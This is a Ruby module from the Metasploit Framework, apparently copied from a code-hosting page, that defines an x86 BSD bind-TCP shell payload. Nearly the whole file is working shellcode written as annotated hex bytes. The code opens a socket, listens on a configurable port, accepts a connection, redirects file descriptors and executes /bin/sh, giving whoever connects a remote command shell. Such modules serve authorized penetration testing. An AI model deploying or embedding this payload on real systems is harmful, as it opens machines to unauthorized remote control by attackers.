84 lines
3.7 KiB
Ruby
84 lines
3.7 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'msf/core/handler/bind_tcp'
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require 'msf/base/sessions/command_shell'
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require 'msf/base/sessions/command_shell_options'
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module Metasploit3
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include Msf::Payload::Single
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include Msf::Payload::Bsd
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'BSD Command Shell, Bind TCP Inline',
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'Version' => '$Revision$',
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'Description' => 'Listen for a connection and spawn a command shell',
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'Author' => 'ramon',
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'License' => MSF_LICENSE,
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'Platform' => 'bsd',
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'Arch' => ARCH_X86,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShellUnix,
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'Payload' =>
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{
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'Offsets' =>
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{
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'LPORT' => [ 6, 'n' ],
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},
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'Payload' =>
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"\x31\xc0" +# xorl %eax,%eax #
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"\x50" +# pushl %eax #
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"\x68\xff\x02\x04\xd2" +# pushl $0xd20402ff #
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"\x89\xe7" +# movl %esp,%edi #
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"\x50" +# pushl %eax #
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"\x6a\x01" +# pushl $0x01 #
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"\x6a\x02" +# pushl $0x02 #
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"\x6a\x10" +# pushl $0x10 #
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"\xb0\x61" +# movb $0x61,%al #
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"\xcd\x80" +# int $0x80 #
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"\x57" +# pushl %edi #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\x6a\x68" +# pushl $0x68 #
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"\x58" +# popl %eax #
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"\xcd\x80" +# int $0x80 #
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"\x89\x47\xec" +# movl %eax,-0x14(%edi) #
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"\xb0\x6a" +# movb $0x6a,%al #
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"\xcd\x80" +# int $0x80 #
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"\xb0\x1e" +# movb $0x1e,%al #
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"\xcd\x80" +# int $0x80 #
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"\x50" +# pushl %eax #
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"\x50" +# pushl %eax #
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"\x6a\x5a" +# pushl $0x5a #
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"\x58" +# popl %eax #
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"\xcd\x80" +# int $0x80 #
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"\xff\x4f\xe4" +# decl -0x1c(%edi) #
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"\x79\xf6" +# jns <bndsockcode+42> #
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"\x50" +# pushl %eax #
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"\x68\x2f\x2f\x73\x68" +# pushl $0x68732f2f #
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"\x68\x2f\x62\x69\x6e" +# pushl $0x6e69622f #
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"\x89\xe3" +# movl %esp,%ebx #
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"\x50" +# pushl %eax #
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"\x54" +# pushl %esp #
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"\x53" +# pushl %ebx #
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"\x50" +# pushl %eax #
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"\xb0\x3b" +# movb $0x3b,%al #
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"\xcd\x80" # int $0x80 #
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}
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))
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end
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end
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